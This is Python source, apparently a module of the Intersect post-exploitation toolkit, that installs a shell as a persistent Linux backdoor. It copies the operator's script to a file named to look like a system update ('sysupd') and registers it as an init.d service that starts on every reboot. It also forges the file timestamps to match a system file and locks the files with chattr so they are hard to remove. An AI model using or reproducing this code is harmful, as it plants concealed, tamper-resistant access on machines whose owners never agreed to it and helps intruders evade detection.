
def persistent():
    '''
    @description: Installs any Intersect shell module as a persistent backdoor. Will start shell on every system reboot.
    @author: ohdae [bindshell@live.com] | additional code and fixes by bonsaiviking
    @short: install persistent backdoor
    '''
    header = " => "
    print("Select option: ")
    print("1. Add new service")
    print("2. Remove existing persistence")
    option = raw_input("%s " % (header))

    if option == '1':
        addpersist()
    elif option == '2':
        if os.path.exists("/etc/init.d/sysupd") is True:
            print("[+] Removing Intersect persistence...")
            if whereis('chattr') is not None:
                os.system("chattr -i /etc/init.d/sysupd")
                os.system("chattr -i /etc/default/sysupd")
            os.system("rm /etc/init.d/sysupd")
            os.system("update-rc.d sysupd remove")
            os.system("rm /etc/default/sysupd")
            print("[+] Persistent shell successfully removed!")
            log_msg("\n\n [ Removed Persistent Service ]")
            log_msg("\n Start Time: %s" % logtime)
        else:
            print("[!] No existing persistent shell found!")
    else:
        print("[!] Invalid option! Enter '1' or '2'")

	
def addpersist():
    header = " => "
    print("Full path of your Intersect script: ")
    currentfile = raw_input("%s " % (header))

    if os.path.exists(currentfile) is True:
        shutil.copy2(currentfile, "/etc/default/sysupd")
    else:
        print("[!] Incorrect file path, Try again!")
        persistent()


    print("Specify which shell to use: ")
    shell = raw_input("%s " % (header))

    if shell in modList is False:
        print("[!] Shell module not loaded!")
        persistent()
    else:
        if os.path.isdir("/etc/init.d"):
            serwrite = open("/etc/init.d/sysupd", "w")
            serwrite.write("#!/bin/sh\ncd /etc/default/\npython sysupd --%s &" % shell)
            serwrite.close()
            os.system("chmod +x /etc/init.d/sysupd")
            os.system("update-rc.d sysupd defaults")
            print("[+] Persistent service installed.")
            print("[+] Modifying accessed and modified times on shell files.")
            copystat = os.stat('/etc/init.d/rcS')
            os.utime("/etc/default/sysupd",(copystat.st_atime, copystat.st_mtime))
            os.utime("/etc/init.d/sysupd",(copystat.st_atime, copystat.st_mtime))
            print("[+] Attempting to lock down shell files...")
            if whereis('chattr') is not None:
                status = os.system("chattr +i /etc/default/sysupd")
                if status & 0xff00:
                    print("[!] Chattr exited with non-zero status. Could not lock files.")
                status = os.system("chattr +i /etc/init.d/sysupd")
                if status & 0xff00:
                    print("[!] Chattr exited with non-zero status. Could not lock files.")
            else:
                    print("[!] Chattr not found. Could not lock files.")

            print("[+] Persistent shell successfull! System will now start your shell as a background process on every reboot.")

            log_msg("\n [ Installed Persistent Service ]")
            log_msg("\n Start Time: %s" % logtime)




